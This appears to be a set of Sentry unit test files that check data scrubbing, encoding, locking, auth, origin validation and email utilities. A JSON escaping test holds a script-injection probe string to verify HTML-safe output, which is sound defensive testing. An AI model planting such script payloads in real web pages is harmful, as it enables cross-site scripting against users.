    choices = iter_callsign_choices('FooBarBaz')
    assert next(choices) == 'FBB'
    assert next(choices) == 'FBB2'
    assert next(choices) == 'FBB3'
    assert next(choices) == 'FBB4'

    choices = iter_callsign_choices('Grml')
    assert next(choices) == 'GR'
    assert next(choices) == 'GRM'
    assert next(choices) == 'GR2'
    assert next(choices) == 'GRM2'

    choices = iter_callsign_choices('42')
    assert next(choices) == 'PR'
    assert next(choices) == 'PR2'
    assert next(choices) == 'PR3'

    choices = iter_callsign_choices('GetHub')
    assert next(choices) == 'GH2'
    assert next(choices) == 'GH3'


def test_is_valid_dot_atom():
    assert is_valid_dot_atom('foo')
    assert is_valid_dot_atom('foo.bar')
    assert not is_valid_dot_atom('.foo.bar')
    assert not is_valid_dot_atom('foo.bar.')
    assert not is_valid_dot_atom('foo.\x00')






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.constants import FILTER_MASK
from sentry.testutils import TestCase
from sentry.utils.data_scrubber import SensitiveDataFilter


VARS = {
    'foo': 'bar',
    'password': 'hello',
    'the_secret': 'hello',
    'a_password_here': 'hello',
    'api_key': 'secret_key',
    'apiKey': 'secret_key',
}


class SensitiveDataFilterTest(TestCase):

    def _check_vars_sanitized(self, vars, proc):
        """
        Helper to check that keys have been sanitized.
        """
        self.assertTrue('foo' in vars)
        self.assertEquals(vars['foo'], 'bar')
        self.assertTrue('password' in vars)
        self.assertEquals(vars['password'], FILTER_MASK)
        self.assertTrue('the_secret' in vars)
        self.assertEquals(vars['the_secret'], FILTER_MASK)
        self.assertTrue('a_password_here' in vars)
        self.assertEquals(vars['a_password_here'], FILTER_MASK)
        self.assertTrue('api_key' in vars)
        self.assertEquals(vars['api_key'], FILTER_MASK)
        self.assertTrue('apiKey' in vars)
        self.assertEquals(vars['apiKey'], FILTER_MASK)

    def test_stacktrace(self):
        data = {
            'sentry.interfaces.Stacktrace': {
                'frames': [{'vars': VARS}],
            }
        }

        proc = SensitiveDataFilter()
        proc.apply(data)

        self.assertTrue('sentry.interfaces.Stacktrace' in data)
        stack = data['sentry.interfaces.Stacktrace']
        self.assertTrue('frames' in stack)
        self.assertEquals(len(stack['frames']), 1)
        frame = stack['frames'][0]
        self.assertTrue('vars' in frame)
        self._check_vars_sanitized(frame['vars'], proc)

    def test_http(self):
        data = {
            'sentry.interfaces.Http': {
                'data': VARS,
                'env': VARS,
                'headers': list(VARS.items()),
                'cookies': VARS,
            }
        }

        proc = SensitiveDataFilter()
        proc.apply(data)

        self.assertTrue('sentry.interfaces.Http' in data)
        http = data['sentry.interfaces.Http']
        for n in ('data', 'env', 'cookies'):
            assert n in http
            self._check_vars_sanitized(http[n], proc)

        assert 'headers' in http
        self._check_vars_sanitized(dict(http['headers']), proc)

    def test_extra(self):
        data = {
            'extra': VARS
        }

        proc = SensitiveDataFilter()
        proc.apply(data)

        self.assertTrue('extra' in data)
        self._check_vars_sanitized(data['extra'], proc)

    def test_querystring_as_string(self):
        data = {
            'sentry.interfaces.Http': {
                'query_string': 'foo=bar&password=hello&the_secret=hello'
                                '&a_password_here=hello&api_key=secret_key',
            }
        }

        proc = SensitiveDataFilter()
        proc.apply(data)

        self.assertTrue('sentry.interfaces.Http' in data)
        http = data['sentry.interfaces.Http']
        self.assertEquals(
            http['query_string'],
            'foo=bar&password=%(m)s&the_secret=%(m)s'
            '&a_password_here=%(m)s&api_key=%(m)s' % dict(m=FILTER_MASK))

    def test_querystring_as_string_with_partials(self):
        data = {
            'sentry.interfaces.Http': {
                'query_string': 'foo=bar&password&baz=bar',
            }
        }

        proc = SensitiveDataFilter()
        proc.apply(data)

        self.assertTrue('sentry.interfaces.Http' in data)
        http = data['sentry.interfaces.Http']
        self.assertEquals(http['query_string'], 'foo=bar&password&baz=bar' % dict(m=FILTER_MASK))

    def test_sanitize_additional_sensitive_fields(self):
        additional_sensitive_dict = {
            'fieldy_field': 'value',
            'moar_other_field': 'another value'
        }
        data = {
            'extra': dict(list(VARS.items()) + list(additional_sensitive_dict.items()))
        }

        proc = SensitiveDataFilter(additional_sensitive_dict.keys())
        proc.apply(data)

        for field in additional_sensitive_dict.keys():
            self.assertEquals(data['extra'][field], FILTER_MASK)

        self._check_vars_sanitized(data['extra'], proc)

    def test_sanitize_credit_card(self):
        proc = SensitiveDataFilter()
        result = proc.sanitize('foo', '4571234567890111')
        assert result == FILTER_MASK

    def test_sanitize_credit_card_amex(self):
        # AMEX numbers are 15 digits, not 16
        proc = SensitiveDataFilter()
        result = proc.sanitize('foo', '378282246310005')
        assert result == FILTER_MASK

    def test_sanitize_credit_card_discover(self):
        proc = SensitiveDataFilter()
        result = proc.sanitize('foo', '6011111111111117')
        assert result == FILTER_MASK

    def test_sanitize_credit_card_visa(self):
        proc = SensitiveDataFilter()
        result = proc.sanitize('foo', '4111111111111111')
        assert result == FILTER_MASK

    def test_sanitize_credit_card_mastercard(self):
        proc = SensitiveDataFilter()
        result = proc.sanitize('foo', '5555555555554444')
        assert result == FILTER_MASK

    def test_sanitize_credit_card_within_value(self):
        proc = SensitiveDataFilter()
        result = proc.sanitize('foo', "'4571234567890111'")
        assert result == FILTER_MASK

        proc = SensitiveDataFilter()
        result = proc.sanitize('foo', "foo 4571234567890111")
        assert result == FILTER_MASK

    def test_does_not_sanitize_timestamp_looks_like_card(self):
        proc = SensitiveDataFilter()
        result = proc.sanitize('foo', '1453843029218310')
        assert result == '1453843029218310'

    def test_sanitize_url(self):
        proc = SensitiveDataFilter()
        result = proc.sanitize('foo', 'pg://matt:pass@localhost/1')
        self.assertEquals(result, 'pg://matt:%s@localhost/1' % FILTER_MASK)
        # Make sure we don't mess up any other url.
        # This url specifically if passed through urlunsplit(urlsplit()),
        # it'll change the value.
        result = proc.sanitize('foo', 'postgres:///path')
        self.assertEquals(result, 'postgres:///path')
        result = proc.sanitize('foo', "foo 'redis://redis:foo@localhost:6379/0' bar")
        self.assertEquals(result, "foo 'redis://redis:%s@localhost:6379/0' bar" % FILTER_MASK)
        result = proc.sanitize('foo', "'redis://redis:foo@localhost:6379/0'")
        self.assertEquals(result, "'redis://redis:%s@localhost:6379/0'" % FILTER_MASK)
        result = proc.sanitize('foo', "foo redis://redis:foo@localhost:6379/0 bar")
        self.assertEquals(result, "foo redis://redis:%s@localhost:6379/0 bar" % FILTER_MASK)
        result = proc.sanitize('foo', "foo redis://redis:foo@localhost:6379/0 bar pg://matt:foo@localhost/1")
        self.assertEquals(result, "foo redis://redis:%s@localhost:6379/0 bar pg://matt:%s@localhost/1" % (FILTER_MASK, FILTER_MASK))

    def test_sanitize_http_body(self):
        data = {
            'sentry.interfaces.Http': {
                'data': '{"email":"zzzz@gmail.com","password":"zzzzz"}',
            },
        }

        proc = SensitiveDataFilter()
        proc.apply(data)
        self.assertTrue('sentry.interfaces.Http' in data)
        http = data['sentry.interfaces.Http']
        self.assertEquals(http['data'], FILTER_MASK)

    def test_does_not_fail_on_non_string(self):
        data = {
            'extra': {
                'foo': 1,
            },
        }

        proc = SensitiveDataFilter()
        proc.apply(data)
        self.assertEquals(data['extra'], {'foo': 1})






from __future__ import absolute_import, print_function

from mock import Mock, patch
from raven.contrib.django.models import client
from raven.base import Client

from sentry.models import Event
from sentry.testutils import TestCase
from sentry.utils.raven import SentryInternalClient


class SentryInternalClientTest(TestCase):
    @patch.object(SentryInternalClient, 'is_enabled', Mock(return_value=True))
    @patch.object(Client, 'send')
    def test_simple(self, send):
        assert client.__class__ is SentryInternalClient

        with self.tasks():
            client.captureMessage('internal client test')

        event = Event.objects.get()
        assert event.message == 'internal client test'
        assert send.call_count == 0

    @patch.object(SentryInternalClient, 'is_enabled', Mock(return_value=True))
    @patch.object(Client, 'send')
    def test_upstream(self, send):
        with self.dsn('http://foo:bar@example.com/1'):
            with self.options({'sentry:install-id': 'abc123'}):
                with self.tasks():
                    client.captureMessage('internal client test')

                event = Event.objects.get()
                assert event.message == 'internal client test'

                # Make sure that the event also got sent upstream
                assert send.call_count == 1
                _, kwargs = send.call_args
                # and got tagged properly
                assert kwargs['tags']['install-id'] == 'abc123'






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from django.test.client import RequestFactory

from sentry.testutils import TestCase
from sentry.utils import linksign


class LinkSignTestCase(TestCase):

    def test_link_signing(self):
        rf = RequestFactory()

        url = linksign.generate_signed_link(self.user, 'sentry')
        assert url.startswith('http://')

        req = rf.get('/' + url.split('/', 3)[-1])
        signed_user = linksign.process_signature(req)
        assert signed_user
        assert signed_user.id == self.user.id

        req = rf.get('/what' + url.split('/', 3)[-1])
        signed_user = linksign.process_signature(req)
        assert signed_user is None

        req = rf.get('/' + url.split('/', 3)[-1] + 'garbage')
        signed_user = linksign.process_signature(req)
        assert signed_user is None

        rf.defaults['SERVER_NAME'] = 'something-else'
        req = rf.get('/' + url.split('/', 3)[-1])
        signed_user = linksign.process_signature(req)
        assert signed_user is None






from __future__ import absolute_import

from sentry.utils.numbers import base36_encode, base36_decode, \
    base32_encode, base32_decode


def test_base36():
    assert [base36_encode(x) for x in range(128)] == [
        '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C',
        'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '10', '11',
        '12', '13', '14', '15', '16', '17', '18', '19', '1A', '1B', '1C',
        '1D', '1E', '1F', '1G', '1H', '1I', '1J', '1K', '1L', '1M', '1N',
        '1O', '1P', '1Q', '1R', '1S', '1T', '1U', '1V', '1W', '1X', '1Y',
        '1Z', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29',
        '2A', '2B', '2C', '2D', '2E', '2F', '2G', '2H', '2I', '2J', '2K',
        '2L', '2M', '2N', '2O', '2P', '2Q', '2R', '2S', '2T', '2U', '2V',
        '2W', '2X', '2Y', '2Z', '30', '31', '32', '33', '34', '35', '36',
        '37', '38', '39', '3A', '3B', '3C', '3D', '3E', '3F', '3G', '3H',
        '3I', '3J'
    ]

    assert [base36_decode(base36_encode(x)) for x in range(128)] == list(map(int, range(128)))


def test_base32():
    assert [base32_encode(x) for x in range(128)] == [
        '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C',
        'D', 'E', 'F', 'G', 'H', 'J', 'K', 'M', 'N', 'P', 'Q', 'R', 'S',
        'T', 'V', 'W', 'X', 'Y', 'Z', '10', '11', '12', '13', '14', '15',
        '16', '17', '18', '19', '1A', '1B', '1C', '1D', '1E', '1F', '1G',
        '1H', '1J', '1K', '1M', '1N', '1P', '1Q', '1R', '1S', '1T', '1V',
        '1W', '1X', '1Y', '1Z', '20', '21', '22', '23', '24', '25', '26',
        '27', '28', '29', '2A', '2B', '2C', '2D', '2E', '2F', '2G', '2H',
        '2J', '2K', '2M', '2N', '2P', '2Q', '2R', '2S', '2T', '2V', '2W',
        '2X', '2Y', '2Z', '30', '31', '32', '33', '34', '35', '36', '37',
        '38', '39', '3A', '3B', '3C', '3D', '3E', '3F', '3G', '3H', '3J',
        '3K', '3M', '3N', '3P', '3Q', '3R', '3S', '3T', '3V', '3W', '3X',
        '3Y', '3Z'
    ]

    assert [base32_decode(base32_encode(x)) for x in range(128)] == list(map(int, range(128)))






from __future__ import absolute_import

import functools
import pytest

from sentry.exceptions import InvalidConfiguration
from sentry.testutils.cases import TestCase
from sentry.utils.redis import (
    ClusterManager, _shared_pool, get_cluster_from_options
)

make_manager = functools.partial(
    ClusterManager,
    {
        'redis.clusters': {
            'foo': {
                'hosts': {
                    0: {'db': 0},
                },
            },
            'bar': {
                'hosts': {
                    0: {'db': 0},
                    1: {'db': 1},
                }
            },
        },
    },
)


class ClusterManagerTestCase(TestCase):
    def test_get(self):
        manager = make_manager()
        assert manager.get('foo') is manager.get('foo')
        assert manager.get('foo') is not manager.get('bar')
        assert manager.get('foo').pool_cls is _shared_pool
        with pytest.raises(KeyError):
            manager.get('invalid')


def test_get_cluster_from_options():
    backend = object()
    manager = make_manager()

    cluster, options = get_cluster_from_options(
        backend,
        {
            'cluster': 'foo',
            'foo': 'bar',
        },
        cluster_manager=manager,
    )

    assert cluster is manager.get('foo')
    assert cluster.pool_cls is _shared_pool
    assert options == {'foo': 'bar'}

    cluster, options = get_cluster_from_options(
        backend,
        {
            'hosts': {
                0: {'db': 0},
            },
            'foo': 'bar',
        },
        cluster_manager=manager,
    )

    assert cluster is not manager.get('foo')  # kind of a silly assertion
    assert cluster.pool_cls is _shared_pool
    assert options == {'foo': 'bar'}

    with pytest.raises(InvalidConfiguration):
        cluster, options = get_cluster_from_options(
            backend,
            {
                'hosts': {
                    0: {'db': 0},
                },
                'cluster': 'foo',
                'foo': 'bar',
            },
            cluster_manager=manager,
        )






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.utils.hashlib import md5_text, sha1_text
from sentry.testutils import TestCase


class HashlibTest(TestCase):
    def test_simple(self):
        md5_text('x').hexdigest() == '9dd4e461268c8034f5c8564e155c67a6'
        sha1_text('x').hexdigest() == '11f6ad8ec52a2984abaafd7c3b516503785c2072'

    def test_unicode(self):
        md5_text(u'ü').hexdigest() == 'c03410a5204b21cd8229ff754688d743'
        sha1_text(u'ü').hexdigest() == '94a759fd37735430753c7b6b80684306d80ea16e'






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import datetime
import uuid

from sentry.utils import json

from sentry.testutils import TestCase


class JSONTest(TestCase):
    def test_uuid(self):
        res = uuid.uuid4()
        self.assertEquals(json.dumps(res), '"%s"' % res.hex)

    def test_datetime(self):
        res = datetime.datetime(day=1, month=1, year=2011, hour=1, minute=1, second=1)
        self.assertEquals(json.dumps(res), '"2011-01-01T01:01:01.000000Z"')

    def test_set(self):
        res = set(['foo'])
        self.assertEquals(json.dumps(res), '["foo"]')

    def test_frozenset(self):
        res = frozenset(['foo'])
        self.assertEquals(json.dumps(res), '["foo"]')

    def test_escape(self):
        res = "<script>alert('&');</script>"
        assert json.dumps(res) == '"<script>alert(\'&\');</script>"'
        assert json.dumps(res, escape=True) == '"\\u003cscript\\u003ealert(\\u0027\u0026\\u0027);\\u003c/script\\u003e"'
        assert json.dumps_htmlsafe(res) == '"\\u003cscript\\u003ealert(\\u0027\u0026\\u0027);\\u003c/script\\u003e"'

    def test_inf(self):
        res = float('inf')
        self.assertEquals(json.dumps(res), 'null')






from __future__ import absolute_import

import mock
import pytest

from sentry.testutils import TestCase
from sentry.utils.locking import UnableToAcquireLock
from sentry.utils.locking.backends import LockBackend
from sentry.utils.locking.lock import Lock


class LockTestCase(TestCase):
    def test_procedural_interface(self):
        backend = mock.Mock(spec=LockBackend)
        key = 'lock'
        duration = 60
        routing_key = None

        lock = Lock(backend, key, duration, routing_key)

        lock.acquire()
        backend.acquire.assert_called_once_with(
            key,
            duration,
            routing_key,
        )

        lock.release()
        backend.release.assert_called_once_with(
            key,
            routing_key,
        )

        backend.acquire.side_effect = Exception('Boom!')
        with pytest.raises(UnableToAcquireLock):
            lock.acquire()

    def test_context_manager_interface(self):
        backend = mock.Mock(spec=LockBackend)
        key = 'lock'
        duration = 60
        routing_key = None

        lock = Lock(backend, key, duration, routing_key)

        with lock.acquire():
            backend.acquire.assert_called_once_with(
                key,
                duration,
                routing_key,
            )

        backend.release.assert_called_once_with(
            key,
            routing_key,
        )






from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import

import pytest

from exam import fixture

from sentry.testutils import TestCase
from sentry.utils.locking.backends.redis import RedisLockBackend
from sentry.utils.redis import clusters


class RedisLockBackendTestCase(TestCase):
    @fixture
    def cluster(self):
        return clusters.get('default')

    @fixture
    def backend(self):
        return RedisLockBackend(self.cluster)

    def test_success(self):
        key = u"\U0001F4A9"
        duration = 60
        full_key = self.backend.prefix_key(key)
        client = self.backend.get_client(key)

        self.backend.acquire(key, duration)
        assert client.get(full_key) == self.backend.uuid.encode('utf-8')
        assert duration - 2 < float(client.ttl(full_key)) <= duration

        self.backend.release(key)
        assert client.exists(full_key) is False

    def test_acquire_fail_on_conflict(self):
        key = 'lock'
        duration = 60

        other_cluster = RedisLockBackend(self.cluster)
        other_cluster.acquire(key, duration)
        with pytest.raises(Exception):
            self.backend.acquire(key, duration)

    def test_release_fail_on_missing(self):
        with pytest.raises(Exception):
            self.backend.release('missing-key')

    def test_release_fail_on_conflict(self):
        key = 'lock'
        duration = 60
        self.backend.get_client(key).set(self.backend.prefix_key(key), 'someone-elses-uuid')

        with pytest.raises(Exception):
            self.backend.acquire(key, duration)






from __future__ import absolute_import






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from django.http import HttpRequest

from sentry.models import User
from sentry.testutils import TestCase
from sentry.utils.auth import EmailAuthBackend, get_login_redirect


class EmailAuthBackendTest(TestCase):
    def setUp(self):
        self.user = User(username="foo", email="baz@example.com")
        self.user.set_password("bar")
        self.user.save()

    @property
    def backend(self):
        return EmailAuthBackend()

    def test_can_authenticate_with_username(self):
        result = self.backend.authenticate(username='foo', password='bar')
        self.assertEquals(result, self.user)

    def test_can_authenticate_with_email(self):
        result = self.backend.authenticate(username='baz@example.com', password='bar')
        self.assertEquals(result, self.user)

    def test_does_not_authenticate_with_invalid_password(self):
        result = self.backend.authenticate(username='foo', password='pizza')
        self.assertEquals(result, None)


class GetLoginRedirectTest(TestCase):
    def make_request(self, next=None):
        request = HttpRequest()
        request.session = {}
        request.user = self.user
        if next:
            request.session['_next'] = next
        return request

    def test_schema_uses_default(self):
        result = get_login_redirect(self.make_request('http://example.com'))
        assert result == reverse('sentry-login')

    def test_login_uses_default(self):
        result = get_login_redirect(self.make_request(reverse('sentry-login')))
        assert result == reverse('sentry-login')

    def test_no_value_uses_default(self):
        result = get_login_redirect(self.make_request())
        assert result == reverse('sentry-login')






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.utils.db import get_db_engine
from sentry.testutils import TestCase


class GetDbEngineTest(TestCase):
    def test_with_dotted_path(self):
        with self.settings(DATABASES={'default': {'ENGINE': 'blah.sqlite3'}}):
            self.assertEquals(get_db_engine(), 'sqlite3')

    def test_no_path(self):
        with self.settings(DATABASES={'default': {'ENGINE': 'mysql'}}):
            self.assertEquals(get_db_engine(), 'mysql')






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock

from exam import fixture

from sentry import options
from sentry.models import Project
from sentry.testutils import TestCase
from sentry.utils.http import (
    is_same_domain, is_valid_origin, get_origins, absolute_uri, is_valid_ip,
)


class AbsoluteUriTest(TestCase):
    def test_without_path(self):
        assert absolute_uri() == options.get('system.url-prefix')

    def test_with_path(self):
        assert absolute_uri('/foo/bar') == '%s/foo/bar' % (options.get('system.url-prefix'),)


class SameDomainTestCase(TestCase):
    def test_is_same_domain(self):
        url1 = 'http://example.com/foo/bar'
        url2 = 'http://example.com/biz/baz'

        self.assertTrue(is_same_domain(url1, url2))

    def test_is_same_domain_diff_scheme(self):
        url1 = 'https://example.com/foo/bar'
        url2 = 'http://example.com/biz/baz'

        self.assertTrue(is_same_domain(url1, url2))

    def test_is_same_domain_diff_port(self):
        url1 = 'http://example.com:80/foo/bar'
        url2 = 'http://example.com:13/biz/baz'

        self.assertFalse(is_same_domain(url1, url2))


class GetOriginsTestCase(TestCase):
    def test_project_default(self):
        project = Project.objects.get()

        with self.settings(SENTRY_ALLOW_ORIGIN=None):
            result = get_origins(project)
            self.assertEquals(result, frozenset(['*']))

    def test_project(self):
        project = Project.objects.get()
        project.update_option('sentry:origins', ['http://foo.example'])

        with self.settings(SENTRY_ALLOW_ORIGIN=None):
            result = get_origins(project)
            self.assertEquals(result, frozenset(['http://foo.example']))

    def test_project_and_setting(self):
        project = Project.objects.get()
        project.update_option('sentry:origins', ['http://foo.example'])

        with self.settings(SENTRY_ALLOW_ORIGIN='http://example.com'):
            result = get_origins(project)
            self.assertEquals(result, frozenset(['http://foo.example', 'http://example.com']))

    def test_setting_empty(self):
        with self.settings(SENTRY_ALLOW_ORIGIN=None):
            result = get_origins(None)
            self.assertEquals(result, frozenset([]))

    def test_setting_all(self):
        with self.settings(SENTRY_ALLOW_ORIGIN='*'):
            result = get_origins(None)
            self.assertEquals(result, frozenset(['*']))

    def test_setting_uri(self):
        with self.settings(SENTRY_ALLOW_ORIGIN='http://example.com'):
            result = get_origins(None)
            self.assertEquals(result, frozenset(['http://example.com']))


class IsValidOriginTestCase(TestCase):
    @fixture
    def project(self):
        return mock.Mock()

    def isValidOrigin(self, origin, inputs):
        with mock.patch('sentry.utils.http.get_origins') as get_origins:
            get_origins.return_value = inputs
            result = is_valid_origin(origin, self.project)
            get_origins.assert_called_once_with(self.project)
        return result

    def test_global_wildcard_matches_domain(self):
        result = self.isValidOrigin('http://example.com', ['*'])
        self.assertEquals(result, True)

    def test_domain_wildcard_matches_domain(self):
        result = self.isValidOrigin('http://example.com', ['*.example.com'])
        self.assertEquals(result, True)

    def test_domain_wildcard_matches_domain_with_port(self):
        result = self.isValidOrigin('http://example.com:80', ['*.example.com'])
        self.assertEquals(result, True)

    def test_domain_wildcard_matches_subdomain(self):
        result = self.isValidOrigin('http://foo.example.com', ['*.example.com'])
        self.assertEquals(result, True)

    def test_domain_wildcard_matches_subdomain_with_port(self):
        result = self.isValidOrigin('http://foo.example.com:80', ['*.example.com'])
        self.assertEquals(result, True)

    def test_domain_wildcard_does_not_match_others(self):
        result = self.isValidOrigin('http://foo.com', ['*.example.com'])
        self.assertEquals(result, False)

    def test_domain_wildcard_matches_domain_with_path(self):
        result = self.isValidOrigin('http://foo.example.com/foo/bar', ['*.example.com'])
        self.assertEquals(result, True)

    def test_base_domain_matches_domain(self):
        result = self.isValidOrigin('http://example.com', ['example.com'])
        self.assertEquals(result, True)

    def test_base_domain_matches_domain_with_path(self):
        result = self.isValidOrigin('http://example.com/foo/bar', ['example.com'])
        self.assertEquals(result, True)

    def test_base_domain_matches_domain_with_port(self):
        result = self.isValidOrigin('http://example.com:80', ['example.com'])
        self.assertEquals(result, True)

    def test_base_domain_matches_domain_with_explicit_port(self):
        result = self.isValidOrigin('http://example.com:80', ['example.com:80'])
        assert result is True

    def test_base_domain_does_not_match_domain_with_invalid_port(self):
        result = self.isValidOrigin('http://example.com:80', ['example.com:443'])
        assert result is False

    def test_base_domain_does_not_match_subdomain(self):
        result = self.isValidOrigin('http://example.com', ['foo.example.com'])
        self.assertEquals(result, False)

    def test_full_uri_match(self):
        result = self.isValidOrigin('http://example.com', ['http://example.com'])
        self.assertEquals(result, True)

    def test_full_uri_match_requires_scheme(self):
        result = self.isValidOrigin('https://example.com', ['http://example.com'])
        self.assertEquals(result, False)

    def test_full_uri_match_does_not_require_port(self):
        result = self.isValidOrigin('http://example.com:80', ['http://example.com'])
        self.assertEquals(result, True)

    def test_partial_uri_match(self):
        result = self.isValidOrigin('http://example.com/foo/bar', ['http://example.com'])
        self.assertEquals(result, True)

    def test_null_valid_with_global(self):
        result = self.isValidOrigin('null', ['*'])
        self.assertEquals(result, True)

    def test_null_invalid_graceful_with_domains(self):
        result = self.isValidOrigin('null', ['http://example.com'])
        self.assertEquals(result, False)

    def test_custom_protocol_with_location(self):
        result = self.isValidOrigin('sp://custom-thing/foo/bar', ['sp://custom-thing'])
        assert result is True

        result = self.isValidOrigin('sp://custom-thing-two/foo/bar', ['sp://custom-thing'])
        assert result is False

    def test_custom_protocol_without_location(self):
        result = self.isValidOrigin('sp://custom-thing/foo/bar', ['sp://*'])
        assert result is True

        result = self.isValidOrigin('dp://custom-thing/foo/bar', ['sp://'])
        assert result is False

    def test_custom_protocol_with_domainish_match(self):
        result = self.isValidOrigin('sp://custom-thing.foobar/foo/bar', ['sp://*.foobar'])
        assert result is True

        result = self.isValidOrigin('sp://custom-thing.bizbaz/foo/bar', ['sp://*.foobar'])
        assert result is False


class IsValidIPTestCase(TestCase):
    def is_valid_ip(self, ip, inputs):
        self.project.update_option('sentry:blacklisted_ips', inputs)
        return is_valid_ip(ip, self.project)

    def test_not_in_blacklist(self):
        assert self.is_valid_ip('127.0.0.1', [])
        assert self.is_valid_ip('127.0.0.1', ['0.0.0.0', '192.168.1.1', '10.0.0.0/8'])

    def test_match_blacklist(self):
        assert not self.is_valid_ip('127.0.0.1', ['127.0.0.1'])
        assert not self.is_valid_ip('127.0.0.1', ['0.0.0.0', '127.0.0.1', '192.168.1.1'])

    def test_match_blacklist_range(self):
        assert not self.is_valid_ip('127.0.0.1', ['127.0.0.0/8'])
        assert not self.is_valid_ip('127.0.0.1', ['0.0.0.0', '127.0.0.0/8', '192.168.1.0/8'])






from __future__ import absolute_import






from __future__ import absolute_import

import functools

import pytest
from django.core import mail
from mock import patch

from sentry import options
from sentry.models import GroupEmailThread, User, UserOption
from sentry.testutils import TestCase
from sentry.utils.email import (
    ListResolver, MessageBuilder, default_list_type_handlers,
    get_from_email_domain, get_mail_backend,
)


class ListResolverTestCase(TestCase):
    resolver = ListResolver(
        'namespace',
        default_list_type_handlers,
    )

    def test_rejects_invalid_namespace(self):
        with pytest.raises(AssertionError):
            ListResolver('\x00', {})

    def test_rejects_invalid_types(self):
        with pytest.raises(ListResolver.UnregisteredTypeError):
            self.resolver(object())

    def test_generates_list_ids(self):
        expected = "{0.project.slug}.{0.organization.slug}.namespace".format(self.event)
        assert self.resolver(self.event) == expected
        assert self.resolver(self.event.group) == expected
        assert self.resolver(self.event.project) == expected

    def test_rejects_invalid_objects(self):
        resolver = ListResolver('namespace', {
            object: lambda value: ('\x00',),
        })

        with pytest.raises(AssertionError):
            resolver(object())


class MessageBuilderTest(TestCase):
    def test_raw_content(self):
        msg = MessageBuilder(
            subject='Test',
            body='hello world',
            html_body='<b>hello world</b>',
            headers={'X-Test': 'foo'},
        )
        msg.send(['foo@example.com'])

        assert len(mail.outbox) == 1

        out = mail.outbox[0]
        assert out.to == ['foo@example.com']
        assert out.subject == 'Test'
        assert out.extra_headers['X-Test'] == 'foo'
        assert out.body == 'hello world'
        assert len(out.alternatives) == 1
        assert out.alternatives[0] == (
            '<html><body><b>hello world</b></body></html>',
            'text/html',
        )

    def test_explicit_reply_to(self):
        msg = MessageBuilder(
            subject='Test',
            body='hello world',
            html_body='<b>hello world</b>',
            headers={'X-Sentry-Reply-To': 'bar@example.com'},
        )
        msg.send(['foo@example.com'])

        assert len(mail.outbox) == 1

        out = mail.outbox[0]
        assert out.to == ['foo@example.com']
        assert out.subject == 'Test'
        assert out.extra_headers['Reply-To'] == 'bar@example.com'
        assert out.body == 'hello world'
        assert len(out.alternatives) == 1
        assert out.alternatives[0] == (
            '<html><body><b>hello world</b></body></html>',
            'text/html',
        )

    def test_with_users(self):
        project = self.project

        user_a = User.objects.create(email='foo@example.com')
        user_b = User.objects.create(email='bar@example.com')
        user_c = User.objects.create(email='baz@example.com')

        UserOption.objects.create(
            user=user_b,
            key='alert_email',
            value='fizzle@example.com',
        )
        UserOption.objects.create(
            user=user_c,
            project=project,
            key='mail:email',
            value='bazzer@example.com',
        )

        msg = MessageBuilder(
            subject='Test',
            body='hello world',
            html_body='<b>hello world</b>',
        )
        msg.add_users([user_a.id, user_b.id, user_c.id], project=project)
        msg.send()

        assert len(mail.outbox) == 3

        assert sorted([out.to[0] for out in mail.outbox]) == [
            'bazzer@example.com',
            'fizzle@example.com',
            'foo@example.com',
        ]

    @patch('sentry.utils.email.make_msgid')
    def test_message_id(self, make_msgid):
        make_msgid.return_value = 'abc123'

        msg = MessageBuilder(
            subject='Test',
            body='hello world',
            html_body='<b>hello world</b>',
            reference=self.activity,
        )
        msg.send(['foo@example.com'])

        assert len(mail.outbox) == 1

        out = mail.outbox[0]
        assert out.to == ['foo@example.com']
        assert out.subject == 'Test'
        assert out.extra_headers['Message-Id'] == 'abc123'
        assert out.body == 'hello world'
        assert len(out.alternatives) == 1
        assert out.alternatives[0] == (
            '<html><body><b>hello world</b></body></html>',
            'text/html',
        )

    @patch('sentry.utils.email.make_msgid')
    def test_add_groupemailthread(self, make_msgid):
        make_msgid.return_value = 'abc123'

        msg = MessageBuilder(
            subject='Test',
            body='hello world',
            html_body='<b>hello world</b>',
            reference=self.group,
        )
        msg.send(['foo@example.com'])

        assert len(mail.outbox) == 1

        out = mail.outbox[0]
        assert out.to == ['foo@example.com']
        assert out.subject == 'Test', 'First message should not have Re: prefix'
        assert out.extra_headers['Message-Id'] == 'abc123'
        assert 'In-Reply-To' not in out.extra_headers
        assert 'References' not in out.extra_headers
        assert out.body == 'hello world'
        assert len(out.alternatives) == 1
        assert out.alternatives[0] == (
            '<html><body><b>hello world</b></body></html>',
            'text/html',
        )

        # Our new EmailThread row was added
        assert GroupEmailThread.objects.count() == 1
        thread = GroupEmailThread.objects.all()[0]
        assert thread.msgid == 'abc123'
        assert thread.email == 'foo@example.com'
        assert thread.group == self.group

    @patch('sentry.utils.email.make_msgid')
    def test_reply_reference(self, make_msgid):
        make_msgid.return_value = 'abc123'

        msg = MessageBuilder(
            subject='Test',
            body='hello world',
            html_body='<b>hello world</b>',
            reference=self.activity,
            reply_reference=self.group,
        )
        msg.send(['foo@example.com'])

        assert len(mail.outbox) == 1

        out = mail.outbox[0]
        assert out.to == ['foo@example.com']
        assert out.subject == 'Re: Test'
        assert out.extra_headers['Message-Id'] == 'abc123'
        assert 'In-Reply-To' not in out.extra_headers
        assert 'References' not in out.extra_headers
        assert out.body == 'hello world'
        assert len(out.alternatives) == 1
        assert out.alternatives[0] == (
            '<html><body><b>hello world</b></body></html>',
            'text/html',
        )

        # Our new EmailThread row was added
        assert GroupEmailThread.objects.count() == 1
        thread = GroupEmailThread.objects.all()[0]
        assert thread.msgid == 'abc123'
        assert thread.email == 'foo@example.com'
